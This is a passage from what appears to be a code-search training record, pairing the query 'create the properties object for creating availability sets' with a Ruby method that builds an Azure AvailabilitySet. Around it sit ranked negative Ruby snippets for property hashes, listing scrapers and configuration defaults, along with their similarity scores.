waitlist.num_seats\n )\n else\n associated_booking = Booking.new(\n num_seats: waitlist.num_seats,\n user_id: waitlist.user_id,\n tour_id: waitlist.tour_id\n )\n end\n\n # FIRST destroy the waitlist THEN save the new or updated booking\n # to help protect against seats from a waitlist being added to booking more than once\n waitlist.destroy\n associated_booking.save\n\n end\n end\n\n end\n\n # Very dumb lock\n @@currently_enrolling = false\n\n end"
] | [
"0.7660444",
"0.61491245",
"0.59813905",
"0.58553535",
"0.58325064",
"0.58325064",
"0.58325064",
"0.58325064",
"0.57462674",
"0.5707677",
"0.5688543",
"0.56762767",
"0.56389725",
"0.56216985",
"0.5620077",
"0.5520083",
"0.5517219",
"0.5509976",
"0.5502146",
"0.5430218",
"0.5350968",
"0.5276789",
"0.5239331",
"0.52176267",
"0.5188466",
"0.51660705",
"0.51303095",
"0.51170594",
"0.5106672",
"0.5106672",
"0.5097973",
"0.509719",
"0.50508034",
"0.5041405",
"0.5025824",
"0.5022362",
"0.5021756",
"0.5020203",
"0.50201595",
"0.5018101",
"0.501415",
"0.50114346",
"0.501008",
"0.50083864",
"0.5006197",
"0.50018984",
"0.49997196",
"0.49951038",
"0.49933845",
"0.49832657",
"0.4976699",
"0.49762392",
"0.4974496",
"0.49735814",
"0.4970675",
"0.49655715",
"0.4957641",
"0.49573523",
"0.49437332",
"0.4916012",
"0.49109992",
"0.49067318",
"0.48975876",
"0.48961514",
"0.4887817",
"0.48874578",
"0.488551",
"0.4879399",
"0.48721525",
"0.48679334",
"0.48660037",
"0.48588645",
"0.48482937",
"0.48451468",
"0.48421904",
"0.48413956",
"0.48366413",
"0.48328486",
"0.4831097",
"0.48308635",
"0.48292395",
"0.4826245",
"0.48180836",
"0.48175645",
"0.48163638",
"0.4814923",
"0.48144504",
"0.48093888",
"0.4806902",
"0.4806696",
"0.480234",
"0.47954816",
"0.47934374",
"0.47891435",
"0.47885323",
"0.47849584",
"0.4781718",
"0.4780855",
"0.4777478",
"0.47770256"
] | 0.6881376 | 1 |
create the properties object for creating availability sets | def get_avail_set_props(location)
avail_set_props =
Azure::ARM::Compute::Models::AvailabilitySetProperties.new
# At least two domain faults
avail_set_props.platform_fault_domain_count = 2
avail_set_props.platform_update_domain_count = 2
# At this point we do not have virtual machines to include
avail_set_props.virtual_machines = []
avail_set_props.statuses = []
avail_set = Azure::ARM::Compute::Models::AvailabilitySet.new
avail_set.location = location
avail_set.properties = avail_set_props
avail_set
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_avail_set_properties(location)\n avail_set_props = Azure::ARM::Compute::Models::AvailabilitySetProperties.new\n # At least two domain faults\n avail_set_props.platform_fault_domain_count = 2\n avail_set_props.platform_update_domain_count = 2\n # At this point we do not have virtual machines to include\n avail_set_props.virtual_machines = []\n avail_set_props.statuses = []\n avail_set = Azure::ARM::Compute::Models::AvailabilitySet.new\n avail_set.location = location\n avail_set.properties = avail_set_props\n avail_set\n end",
"def build_properties\n properties.each do |key,val|\n prop = listing_properties.find_or_initialize_by(key:key)\n prop.value = val\n\n end\n end",
"def create\n @property_hash[:ensure] = :present\n self.class.resource_type.validproperties.each do |property|\n if val = resource.should(property)\n @property_hash[property] = val\n end\n end\n end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n primitive: @resource[:primitive],\n clone_max: @resource[:clone_max],\n clone_node_max: @resource[:clone_node_max],\n notify_clones: @resource[:notify_clones],\n globally_unique: @resource[:globally_unique],\n ordered: @resource[:ordered],\n interleave: @resource[:interleave],\n cib: @resource[:cib],\n existing_resource: :false\n }\n end",
"def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n first: @resource[:first],\n second: @resource[:second],\n kind: @resource[:kind],\n symmetrical: @resource[:symmetrical],\n new: true\n }\n end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n value: @resource[:value]\n }\n end",
"def create\n @property_hash = {\n :name => @resource[:name],\n :ensure => :present,\n :primitive => @resource[:primitive],\n :node_name => @resource[:node_name],\n :node_score => @resource[:node_score],\n :rules => @resource[:rules],\n :cib => @resource[:cib],\n }\n end",
"def create\n @property_hash = {\n :name => @resource[:name],\n :ensure => :present,\n :primitive => @resource[:primitive],\n :node_name => @resource[:node_name],\n :score => @resource[:score],\n :resource_discovery => @resource[:resource_discovery],\n :cib => @resource[:cib],\n :rule => @resource[:rule]\n }\n end",
"def build_property\n property = Entities::Property.new(\n id: property_hash.get(\"ID\"),\n title: property_hash.get(\"Name\"),\n lat: property_hash.get(\"Coordinates.Latitude\").to_f,\n lng: property_hash.get(\"Coordinates.Longitude\").to_f,\n address: property_hash.get(\"Street\"),\n postal_code: property_hash.get(\"ZipCode\").to_s.strip,\n max_guests: property_hash.get(\"CanSleepMax\").to_i,\n bedroom_type_id: property_hash.get(\"PropertyTypeID\"),\n property_type_id: property_hash.get(\"ObjectTypeID\"),\n active: property_hash.get(\"IsActive\"),\n archived: property_hash.get(\"IsArchived\"),\n surface: property_hash.get(\"Space\").to_i,\n owner_id: property_hash.get(\"OwnerID\"),\n security_deposit_amount: property_hash.get(\"SecurityDeposit\").to_f,\n security_deposit_type: security_deposit_type,\n check_in_time: check_in_time,\n check_out_time: check_out_time,\n check_in_instructions: check_in_instructions,\n floor: floor,\n description: en_description(property_hash),\n images: build_images,\n amenities: build_amenities,\n number_of_bathrooms: number_of_bathrooms,\n number_of_single_beds: beds_count(SINGLE_BED_CODES),\n number_of_double_beds: beds_count(DOUBLE_BED_CODES),\n number_of_sofa_beds: beds_count(SOFA_BED_CODES),\n late_arrival_fees: late_arrival_fees,\n early_departure_fees: early_departure_fees,\n )\n\n property\n end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n primitive: @resource[:primitive],\n node_name: @resource[:node_name],\n score: @resource[:score],\n resource_discovery: @resource[:resource_discovery]\n }\n end",
"def add\n # check if it exists\n as_exist = @compute_client.availability_sets.check_availability_set_exists(@rg_name, @as_name)\n if as_exist\n OOLog.info(\"Availability Set #{@as_name} exists in the #{@location} region.\")\n else\n # need to create the availability set\n OOLog.info(\"Creating Availability Set '#{@as_name}' in #{@location} region\")\n\n begin\n #if we are using the managed disk attached to vm availability set needs to setup use_managed_disk to true\n\n\n @compute_client.availability_sets.create(resource_group: @rg_name, name: @as_name, location: @location, use_managed_disk: true, platform_fault_domain_count: Utils.get_fault_domains(@location\n ), platform_update_domain_count: Utils.get_update_domains)\n rescue MsRestAzure::AzureOperationError => e\n OOLog.fatal(\"Error adding an availability set: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error adding an availability set: #{ex.message}\")\n end\n end\n end",
"def create\n @property_hash = {\n name: @resource[:name],\n ensure: :present,\n primitive: @resource[:primitive],\n node_name: @resource[:node_name],\n score: @resource[:score],\n rules: @resource[:rules],\n resource_discovery: @resource[:resource_discovery]\n }\n end",
"def new_property_set\n @properties.push []\n @data << [@selectors[-1], @properties[-1] ]\n end",
"def new_property_set\n @properties.push []\n @data << [@selectors[-1], @properties[-1] ]\n end",
"def set_collected_properties\n set_resource_id()\n set_resource_ip_address()\n set_resource_dns_name()\n end",
"def setup_availabilities\n Availability::DAYS.each do |day|\n availabilities.create(day_name: day)\n end\n end",
"def available_properties\n @properties ||= list.properties\n end",
"def create\n @property_hash[:ensure] = :present\n @property_flush[:ensure] = :present\n end",
"def create\n @property_hash[:ensure] = :present\n end",
"def construct_data\n add_properties(@adv_settings, :if_missing)\n super\n end",
"def prepare(property_data)\n build_room(property_data)\n property.instant_booking!\n\n set_base_info\n set_beds_count\n set_amenities\n set_deposit\n set_cleaning_service\n set_additional_info\n set_property_type\n set_images\n set_price_and_availabilities\n set_owner_info\n\n Result.new(property)\n end",
"def create_property(type, rent, status, address, landlord, tenant)\n @array.push(Property.new(type, rent, landlord, tenant, address, status))\n save_list(@file_path)\n end",
"def set_default_properties\n @properties = {\n :InstanceType => \"t2.micro\",\n :ImageId => \"ami-d05e75b8\"\n }\n end",
"def create_property(name, type, init: true)\n Orocos.load_typekit_for(type, false)\n orocos_type_name = Orocos.find_orocos_type_name_by_type(type)\n Orocos.load_typekit_for(orocos_type_name, true)\n\n local_property = @local_task.do_create_property(Property, name, orocos_type_name)\n @local_properties[local_property.name] = local_property\n @properties[local_property.name] = local_property\n if init\n local_property.write(local_property.new_sample)\n end\n local_property\n end",
"def initialize(properties)\n @properties = properties\n end",
"def generate_oar_property_creation(site_name, data_hierarchy)\n\n #############################################\n # Create properties that were previously created\n # by 'oar_resources_add'\n ##############################################\n commands = %Q{\n#############################################\n# Create OAR properties that were created by 'oar_resources_add'\n#############################################\nproperty_exist 'host' || oarproperty -a host --varchar\nproperty_exist 'cpu' || oarproperty -a cpu\nproperty_exist 'core' || oarproperty -a core\nproperty_exist 'gpudevice' || oarproperty -a gpudevice\nproperty_exist 'gpu' || oarproperty -a gpu\nproperty_exist 'disk' || oarproperty -a disk --varchar\nproperty_exist 'diskpath' || oarproperty -a diskpath --varchar\n\n}\n\n #############################################\n # Create remaining properties (from API)\n #############################################\n commands += %Q{\n#############################################\n# Create OAR properties if they don't exist\n#############################################\n\n}\n\n # Fetch oar properties from ref repo\n # global_hash = load_data_hierarchy\n global_hash = data_hierarchy\n site_properties = get_oar_properties_from_the_ref_repo(global_hash, {\n :sites => [site_name]\n })[site_name]\n property_keys = get_property_keys(site_properties)\n\n # Generate OAR commands for creating properties\n commands += generate_create_oar_property_cmd(property_keys)\n\n return commands\nend",
"def properties\n if @property_hash.empty?\n @property_hash = status || {}\n if @property_hash.empty?\n @property_hash[:ensure] = :absent\n else\n @resource.class.validproperties.each do |name|\n @property_hash[name] ||= :absent\n end\n end\n\n end\n @property_hash.dup\n end",
"def properties\n if @property_hash.empty?\n @property_hash = status || {}\n if @property_hash.empty?\n @property_hash[:ensure] = :absent\n else\n @resource.class.validproperties.each do |name|\n @property_hash[name] ||= :absent\n end\n end\n end\n @property_hash.dup\n end",
"def build(raw_property)\n property = Roomorama::Property.new(raw_property['property_id'])\n property.instant_booking!\n\n set_base_info!(property, raw_property)\n set_images!(property, raw_property)\n set_amenities!(property, raw_property)\n set_description_append!(property, raw_property)\n\n result = set_rates_and_min_stay!(property, raw_property)\n return result unless result.success?\n\n set_security_deposit!(property, raw_property)\n\n Result.new(property)\n end",
"def properties; end",
"def properties; end",
"def properties; end",
"def properties; end",
"def properties; end",
"def properties; end",
"def properties; end",
"def properties; end",
"def add(resource_group, availability_set, location)\n # check if it exists\n existance_promise = get(resource_group, availability_set)\n if !existance_promise.nil?\n OOLog.info(\"Availability Set #{existance_promise.name} exists\n in the #{existance_promise.location} region.\")\n else\n # need to create the availability set\n OOLog.info(\"Creating Availability Set\n '#{availability_set}' in #{location} region\")\n avail_set = get_avail_set_props(location)\n begin\n start_time = Time.now.to_i\n response =\n @client.availability_sets.create_or_update(resource_group,\n availability_set,\n avail_set).value!\n response.body\n end_time = Time.now.to_i\n duration = end_time - start_time\n OOLog.info(\"Availability Set created in #{duration} seconds\")\n rescue MsRestAzure::AzureOperationError => e\n OOLog.fatal(\"Error adding an availability set: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error adding an availability set: #{ex.message}\")\n end\n end\n end",
"def create_properties argument_hash, &b\n orientdb.create_properties self, argument_hash, &b\n end",
"def create\n debug \"Call: create on cs_resource '#{@resource[:name]}'\"\n @property_hash = {\n :name => @resource[:name],\n :ensure => :present,\n :primitive_class => @resource[:primitive_class],\n :provided_by => @resource[:provided_by],\n :primitive_type => @resource[:primitive_type],\n :complex_type => @resource[:complex_type],\n }\n @property_hash[:parameters] = @resource[:parameters] if @resource[:parameters]\n @property_hash[:operations] = @resource[:operations] if @resource[:operations]\n @property_hash[:metadata] = @resource[:metadata] if @resource[:metadata]\n @property_hash[:ms_metadata] = @resource[:ms_metadata] if @resource[:ms_metadata]\n @property_hash[:cib] = @resource[:cib] if @resource[:cib]\n end",
"def initialize(options={})\n address = !options[:address].blank? ? options[:address].squeeze(\" \").strip.delete(\"\\\\\") : \"\"\n beds = !options[:beds].blank? ? options[:beds].to_f : nil\n baths = !options[:baths].blank? ? options[:baths].to_f : nil\n rent_min = options[:rent_min].blank? ? 0 : options[:rent_min].to_f\n rent_max = options[:rent_max].blank? ? Floorplan.maximum(:rent_max) : options[:rent_max].to_f\n allows_dogs = options[:allows_pets].blank? ? false : [:dogs, :both].include?(options[:allows_pets].to_sym)\n allows_cats = options[:allows_pets].blank? ? false : [:cats, :both].include?(options[:allows_pets].to_sym)\n availability = options[:availability].blank? ? :any : options[:availability].to_sym\n property_amenities = options[:property_amenities].blank? ? [] : options[:property_amenities]\n unit_amenities = options[:unit_amenities].blank? ? [] : options[:unit_amenities]\n order_by = options[:order_by].blank? ? :distance : options[:order_by].to_sym\n\n floorplans = Floorplan.joins(:property, :units).\n where(\"properties.published = true\").\n where(\"properties.allows_dogs = true OR properties.allows_dogs = ?\", allows_dogs).\n where(\"properties.allows_cats = true OR properties.allows_cats = ?\", allows_cats).\n where(\"floorplans.rent_min >= ?\", rent_min).\n where(\"floorplans.rent_min <= ?\", rent_max)\n\n floorplans = floorplans.joins(:units) if availability == :now\n floorplans = floorplans.where(\"bedrooms_count = ?\", beds) if beds\n floorplans = floorplans.where(\"bathrooms_count = ?\", baths) if baths\n floorplans = floorplans.with_amenities_in(unit_amenities) if unit_amenities.present?\n floorplans = floorplans.with_property_amenities_in(property_amenities) if property_amenities.present?\n @floorplans = floorplans\n\n floorplanless_properties = availability == :now ?\n [] : Property.select(:id).map(&:id) - Floorplan.select(:property_id).map(&:property_id)\n property_ids = (floorplans.map(&:property_id) + floorplanless_properties).uniq\n region = Region.where(\"name LIKE ?\", address).first\n if(region)\n seo_region = SeoRegion.where(\"region_id = ?\", region.id).first\n end\n\n if region && region.properties.count > 0\n @properties = region.properties.near([region.latitude, region.longitude], 3000)\n elsif seo_region && seo_region.properties.count > 0\n @properties = seo_region.properties.near([region.latitude, region.longitude], 3000)\n elsif Property.where(\"name LIKE ?\", address).exists?\n @properties = Property.where(\"properties.name LIKE ?\", address)\n elsif Property.where(\"city LIKE ?\", address).exists?\n property = Property.where(\"city LIKE ?\", address).first\n @properties = Property.near(\"#{property.city}, #{property.state}\", SearchRadius)\n elsif Property.where(\"state LIKE ?\", Carmen::state_code(address)).exists?\n @properties = Property.where(\"state LIKE ?\", Carmen::state_code(address))\n else\n # N.B. Model.near isn't chainable\n @properties = Property.near(address, SearchRadius)\n end\n\n @properties = @properties.where(:id => property_ids)\n\n if order_by == :rent\n @properies = @properties.order('floorplans.rent_min ASC')\n end\n\n @properties\n end",
"def add_st_properties\n url = \"http://www.stproperty.sg/property-for-sale/condo-for-sale/name/#{params[:name].gsub(' ', '-').downcase}/min-selling-price-#{params[:min_price]}/max-selling-price-#{params[:max_price]}/min-floor-#{params[:min_size]}/size-700\"\n page1 = agent.get(url)\n page1.search(\".sr-e-col-right\").each do |item|\n p = Property.new\n p.sitename = \"STProperty\"\n price_string = to_string(item.at(\".sr-e-datenameprice h3\"))\n p.price = string_to_number(price_string)\n p.display_price = display_price(price_string, p.price)\n p.bedroom = string_to_number(to_string(item.at(\".sr-e-bedbath li:nth-child(1) strong\")))\n p.bathroom = string_to_number(to_string(item.at(\".sr-e-bedbath li:nth-child(2) strong\")))\n p.size = item.at(\".sr-e-info li:nth-child(1) a\").text.strip[/[0-9\\.\\,]+ sqft/][/[0-9\\.\\,]+/].split(',').join.to_i\n p.link = \"http://www.stproperty.sg\" + item.at(\"h2 a\")[:href]\n sales_link = Mechanize::Page::Link.new(item.at(\".sr-e-datenameprice a\"), agent, page1)\n # page2 = sales_link.click\n # p.phone = \"\"\n @properties << p\n end\n end",
"def initialize(value = {})\n super(value)\n @properties = Hash.new\n end",
"def create_property(name, type, options = Hash.new)\n options = Kernel.validate_options options, :init => true\n\n orocos_type_name = find_orocos_type_name_by_type(type)\n Orocos.load_typekit_for orocos_type_name\n local_property = @local_task.do_create_property(Property, name, orocos_type_name)\n @local_properties[local_property.name] = local_property\n @properties[local_property.name] = local_property\n if options[:init]\n local_property.write(local_property.new_sample)\n end\n local_property\n end",
"def required_properties\n {\n \"cc\" => {\n \"internal_service_hostname\" => \"cc.service.cf.internal\"\n },\n \"loggregator\" => {\n \"etcd\" => {\n \"machines\" => []\n },\n \"uaa\" => {\n \"client_secret\" => \"secret\"\n }\n },\n \"system_domain\" => \"bosh-lite.com\",\n }\n end",
"def create_objects\n cloud Mash.new\n cloud[:public_ips] = Array.new\n cloud[:private_ips] = Array.new\n end",
"def create_machines\n i = 1\n self.machines = []\n status = MachineStatus.find_by_name(\"bookable\")\n\n while i <= @count.to_i\n name = sprintf \"%s%0.2d\", self.name.downcase, i\n self.machines << Machine.new({ :name => name,\n :description => @machine_description,\n :machine_status => status\n })\n i += 1\n end \n end",
"def initialize(opts)\n opts.key?(:name) ? opts[:group_name] = opts[:name] : false\n # Ensure that the opts only have the name of the resource group set\n opts.select! { |k, _v| k == :group_name }\n super(opts)\n\n # set the mapping for the Azure Resources\n @mapping = {\n nic: 'Microsoft.Network/networkInterfaces',\n vm: 'Microsoft.Compute/virtualMachines',\n extension: 'Microsoft.Compute/virtualMachines/extensions',\n nsg: 'Microsoft.Network/networkSecurityGroups',\n vnet: 'Microsoft.Network/virtualNetworks',\n managed_disk: 'Microsoft.Compute/disks',\n managed_disk_image: 'Microsoft.Compute/images',\n sa: 'Microsoft.Storage/storageAccounts',\n public_ip: 'Microsoft.Network/publicIPAddresses',\n }\n\n # Get information about the resource group itself\n resource_group\n\n # Get information about the resources in the resource group\n resources\n\n # Call method to create the has_xxxx? methods\n create_has_methods\n\n # Call method to allow access to the tag values\n create_tag_methods\n end",
"def create_new_property\n type = @prompt.select(\"Choose the property type?\", %w(Unit House Townhouse))\n street_number = @prompt.ask(\"What is the street number?\", required: true) do |q|\n number_input_validate(q)\n end\n \n street_name = @prompt.ask(\"What is the street name?\", required: true) do |q|\n letter_input_validate(q)\n end\n suburb = @prompt.ask(\"What is the suburb?\", required: true) do |q|\n letter_input_validate(q)\n end\n\n weekly_rent = @prompt.ask(\"What is the weekly rent? (number only)\", required: true) do |q|\n number_input_validate(q)\n end\n\n property_status = @prompt.select(\"Please select the current property status?\", %w(Occupied Vacant))\n if property_status == 'Occupied'\n tenant_first_name = @prompt.ask(\"What is the current tenant first name?\", required: true) do |q|\n letter_input_validate(q)\n end\n tenant_last_name = @prompt.ask(\"What is the current tenant last name?\", required: true) do |q|\n letter_input_validate(q)\n end\n end\n landlord_firstname = @prompt.ask(\"What is the landlord firstname\", required: true) do |q|\n letter_input_validate(q)\n end\n landlord_lastname = @prompt.ask(\"What is the landlord lastname\", required: true) do |q|\n letter_input_validate(q)\n end\n\n @property_list.create_property(type, \"$#{weekly_rent}\", property_status, {street_number: street_number, street_name: street_name, suburb: suburb}, {first_name: landlord_firstname, last_name: landlord_lastname}, {first_name: tenant_first_name, last_name: tenant_last_name})\n end",
"def initialize(opts = nil)\n @opts = opts\n \n \n# @properties = Array.new\n# addProperties(opts)\n end",
"def initialize()\n super\n @odata_type = \"#microsoft.graph.windowsAppXAppAssignmentSettings\"\n end",
"def initialize\n @reservations_list = []\n @block_list = []\n @all_rooms = []\n make_hotel_rooms\n end",
"def setup_hotel\n single = Room.new('Single', 1, 30)\n double = Room.new('Double', 2, 50)\n family = Room.new('Family', 4, 85)\n\n hotel = Hotel.new\n hotel.add_room_type(single, 2)\n hotel.add_room_type(double, 3)\n hotel.add_room_type(family, 1)\n hotel\nend",
"def initialize(attributes)\n @id = attributes['id']\n @name = attributes['name']\n @description = attributes['description']\n @equipment_type = attributes['equipmentType']\n @availability = attributes['availability']\n @manufacture_option_name = attributes['manufactureOptionName']\n @manufacture_option_code = attributes['manufactureOptionCode']\n @category = attributes['category']\n @attributes = attributes['attributes']\n @equipment = attributes['equipment']\n end",
"def properties\n @properties ||= Properties.new self\n end",
"def create\n sharing(\"-a\", name)\n @property_hash[:ensure] = :present\n\n # Setters for configuring the share are not automatically called on create, so we call them\n resource.properties.each do |property|\n property.sync unless property.name == :ensure\n end\n end",
"def populate(resource)\n @check_grace = resource.health_check_grace_period\n @check_type = resource.health_check_type\n @cooldown = resource.default_cooldown\n @desired = resource.desired_capacity unless resource.desired_capacity.nil?\n @enabled_metrics = resource.enabled_metrics.map { |m| m.metric }\n @launch = resource.launch_configuration_name\n @load_balancers = resource.load_balancer_names\n @max = resource.max_size\n @min = resource.min_size\n @subnets = resource.vpc_zone_identifier.split(\",\")\n @tags = Hash[resource.tags.map { |tag| [tag.key, tag.value] }]\n @termination = resource.termination_policies\n end",
"def assign_attributes_from_scenario\n @present_graph.year = @scenario.start_year\n @future_graph.year = @scenario.end_year\n\n @present_graph.number_of_years = @scenario.years\n @future_graph.number_of_years = @scenario.years\n\n custom_curves = CustomCurveCollection.from_scenario(@scenario)\n\n @present_graph.dataset_set(:custom_curves, custom_curves)\n @future_graph.dataset_set(:custom_curves, custom_curves)\n\n @scenario.user_sortables.each do |sortable|\n order = sortable.useable_order\n\n @present_graph.dataset_set(sortable.graph_key, order)\n @future_graph.dataset_set(sortable.graph_key, order)\n end\n end",
"def presets\n h = Beaker::Options::OptionsHash.new\n h.merge({\n :project => 'Beaker',\n :department => 'unknown',\n :created_by => ENV['USER'] || ENV['USERNAME'] || 'unknown',\n :host_tags => {},\n :openstack_api_key => ENV.fetch('OS_PASSWORD', nil),\n :openstack_username => ENV.fetch('OS_USERNAME', nil),\n :openstack_auth_url => \"#{ENV.fetch('OS_AUTH_URL', nil)}/tokens\",\n :openstack_tenant => ENV.fetch('OS_TENANT_NAME', nil),\n :openstack_keyname => ENV.fetch('OS_KEYNAME', nil),\n :openstack_network => ENV.fetch('OS_NETWORK', nil),\n :openstack_region => ENV.fetch('OS_REGION', nil),\n :openstack_volume_support => ENV['OS_VOLUME_SUPPORT'] || true,\n :jenkins_build_url => nil,\n :validate => true,\n :configure => true,\n :log_level => 'info',\n :trace_limit => 10,\n :\"master-start-curl-retries\" => 120,\n :masterless => false,\n :options_file => nil,\n :type => 'pe',\n :provision => true,\n :preserve_hosts => 'never',\n :root_keys => false,\n :quiet => false,\n :project_root => File.expand_path(File.join(__dir__, \"../\")),\n :xml_dir => 'junit',\n :xml_file => 'beaker_junit.xml',\n :xml_time => 'beaker_times.xml',\n :xml_time_enabled => false,\n :xml_stylesheet => 'junit.xsl',\n :default_log_prefix => 'beaker_logs',\n :log_dir => 'log',\n :log_sut_event => 'sut.log',\n :color => true,\n :dry_run => false,\n :test_tag_and => '',\n :test_tag_or => '',\n :test_tag_exclude => '',\n :timeout => 900, # 15 minutes\n :fail_mode => 'slow',\n :test_results_file => '',\n :accept_all_exit_codes => false,\n :timesync => false,\n :set_env => true,\n :disable_updates => true,\n :repo_proxy => false,\n :package_proxy => false,\n :add_el_extras => false,\n :consoleport => 443,\n :pe_dir => '/opt/enterprise/dists',\n :pe_version_file => 'LATEST',\n :pe_version_file_win => 'LATEST-win',\n :host_env => {},\n :host_name_prefix => nil,\n :ssh_env_file => '~/.ssh/environment',\n :profile_d_env_file => '/etc/profile.d/beaker_env.sh',\n :dot_fog => File.join(ENV.fetch('HOME', nil), '.fog'),\n :ec2_yaml => 'config/image_templates/ec2.yaml',\n :help => false,\n :collect_perf_data => 'none',\n :puppetdb_port_ssl => 8081,\n :puppetdb_port_nonssl => 8080,\n :puppetserver_port => 8140,\n :nodeclassifier_port => 4433,\n :cache_files_locally => false,\n :aws_keyname_modifier => rand(10**10).to_s.rjust(10, '0'), # 10 digit random number string\n :run_in_parallel => [],\n :use_fog_credentials => true,\n :ssh => {\n :config => false,\n :verify_host_key => false,\n :auth_methods => [\"publickey\"],\n :port => 22,\n :forward_agent => true,\n :keys => [\"#{ENV.fetch('HOME', nil)}/.ssh/id_rsa\"],\n :user_known_hosts_file => \"#{ENV.fetch('HOME', nil)}/.ssh/known_hosts\",\n :keepalive => true,\n },\n })\n end",
"def properties\n @properties ||= {}\n end",
"def properties\n @properties ||= {}\n end",
"def create_master_schedule()\n # creating course offerings does not require any randomization --> only logic\n # -> computes intersection of courses to be offered at school with school's sessions\n offering_id = 0\n offering_id = create_course_offerings_for_school(\"elementary\", offering_id)\n offering_id = create_course_offerings_for_school(\"middle\", offering_id)\n offering_id = create_course_offerings_for_school(\"high\", offering_id)\n end",
"def set_attributes\n self.web_name = AppConfig.cloud[:name]\n if self.custom_image_id\n ci = CustomImage.find_by_id!(custom_image_id)\n self.cost = ci.price\n self.region = ci.region\n self.image_id = ci.remote_image_id\n\n #Map product_type or size_type since that is being used across the app.\n if ci.hosting == \"AWS\"\n pt = ProductType.find_by_memory!(ci.ram)\n self.product_type = pt.name\n self.size_type = nil\n elsif ci.hosting == \"DigitalOcean\"\n st = SizeType.find_by_memory!(ci.ram)\n self.size_type = st.size_id\n self.product_type = nil\n end\n else\n if type == \"AWS\"\n self.cost = ProductType.find_by_name(params[:product][:product_type]).cost_per_month\n elsif type == \"DigitalOcean\"\n self.cost = SizeType.find_by_size_id(params[:product][:size_type]).cost_per_month\n end\n end\n\n self.status = 'pending'\n end",
"def create_entity_properties\n self.entity_type.entities.each do |entity|\n entity.properties.create(property_type: self, value: self.default_value)\n end\n end",
"def create_property_method\n @resource.class.properties.each do |type|\n name = type.name\n self.class.send(:define_method, name) do\n get_value(name)\n end\n self.class.send(:define_method, \"#{name}=\") do |value|\n set_value(name,resource[name])\n end\n end\n end",
"def availability_summary_obj #This should be changed to availability_summary\n unavailable = []\n available = []\n awaiting = []\n\n self.cached_teamsheet_entries.each do |tse|\n if tse.response_status == 0\n unavailable << tse.user\n elsif tse.response_status == 1\n available << tse.user\n elsif tse.response_status == 2\n awaiting << tse.user\n end\n end\n { unavailable: unavailable, available: available, awaiting: awaiting }\n end",
"def initialize\n @components = Set.new\n @rpz = {}\n @size = {}\n end",
"def initialize()\n super\n @odata_type = \"#microsoft.graph.macOsLobAppAssignmentSettings\"\n end",
"def process_properties(properties); end",
"def properties\n @properties ||= Hash.new\n end",
"def properties\n @properties ||= {}\n end",
"def add_ip_properties\n url = \"http://www.iproperty.com.sg/property/searchresult.aspx?t=S&gpt=P&k=#{CGI.escape(params[:name])}&rmp=700&mp=#{params[:min_price]}&xp=#{params[:max_price]}&mbu=#{params[:min_size]}\"\n page1 = agent.get(url)\n page1.search(\".SGmiddleColsub\").each do |item|\n p = Property.new\n p.sitename = \"iProperty\"\n price_string = to_string(item.at(\".pricegreen\"))\n p.price = string_to_number(price_string)\n p.display_price = display_price(price_string, p.price)\n p.bedroom = string_to_number(to_string(item.at(\"strong:nth-child(3)\")))\n p.bathroom = string_to_number(to_string(item.at(\"strong:nth-child(5)\")))\n p.phone = item.at(\"a.tooltip[href*='JavaScript']\")[:onclick].split('\\'')[-4]\n p.size = item.at(\".sr_text\").text.strip[/[0-9\\.\\,]+ sq\\. ft\\./][/[0-9\\.\\,]+/].split(',').join.to_i\n p.link = \"http://www.iproperty.com.sg\" + item.at(\".sr_link:nth-child(4) a\")[:href]\n @properties << p\n end\n end",
"def properties\n @properties ||= {}\n end",
"def load_attrs\n self.availability_zone = cluster_config[:availability_zone] || Settings.availability_zone\n self.image_id = cluster_config[:image_id] if cluster_config[:image_id]\n self.instance_type = cluster_config[:instance_type] if cluster_config[:instance_type]\n # self.deletes_on_termination = cluster_config[:deletes_on_termination] if cluster_config[:deletes_on_termination]\n end",
"def add_properties\n # TODO smart column ordering to ensure always valid by time we get to associations\n product_load_object.save_if_new\n\n property_list = value.to_s.split(multi_assoc_delim)\n\n property_list.each do |property_string|\n\n # Special case, we know we lookup on name so operator is effectively the name to lookup\n\n # split into usable parts ; size:large or colour:red,green,blue\n find_by_name, find_by_value = property_string.split(name_value_delim)\n\n raise \"Cannot find Property via #{find_by_name} (with value #{find_by_value})\" unless(find_by_name)\n\n property = Spree::Property.where(:name => find_by_name).first\n\n unless property\n property = property_klass.create( :name => find_by_name, :presentation => find_by_name.humanize)\n logger.info \"Created New Property #{property.inspect}\"\n end\n\n if(property)\n # Property now protected from mass assignment\n x = product_property_klass.new( :value => find_by_value )\n x.property = property\n x.save\n @product_load_object.product_properties << x\n logger.info \"Created New ProductProperty #{x.inspect}\"\n else\n puts \"WARNING: Property #{find_by_name} NOT found - Not set Product\"\n end\n\n end\n\n end",
"def get_valid_event_plan_record_from_properties()\n event_record = Hash.new\n # event record must have event_id,title & phone number (of the organizer)\n if ( !@id.nil? && !@id.empty? && !@event_id.nil? && !@event_id.empty?)\n event_record[\"id\"] = @id\n event_record[\"event_id\"] = @event_id\n\n event_record[\"event_organizer_phone\"] = @event_organizer_phone\n event_record[\"event_organizer_user_id\"] = @event_plan_organizer_user_id\n event_record[\"event_plan_organizer_phone\"] = @event_plan_organizer_phone\n event_record[\"event_organizer_id\"] = @event_organizer_id\n event_record[\"dtstart\"] = (!@dtstart.nil? )? @dtstart: Time.now.to_f\n event_record[\"duration\"] = (!@duration.nil? )? @duration: 0\n event_record[\"created_at\"] = (!@created_at.nil? )? @created_at: Time.now.to_f\n event_record[\"updated_at\"] = (!@updated_at.nil? )? @updated_at: Time.now.to_f\n event_record[\"title\"] = @title\n ### can only add keys with a non empty values to Dynamo...\n if (!@location_title.nil? && !@location_title.empty?)\n event_record[\"location_title\"] = @location_title\n end\n if (!@location.nil? && !@location.empty?)\n event_record[\"location\"] = @location\n end\n if (!@longitude.nil? )\n event_record[\"longitude\"] = @longitude\n end\n\n if (!@latitude.nil?)\n event_record[\"latitude\"] = @latitude\n end\n\n\n end\n return event_record\n\n end",
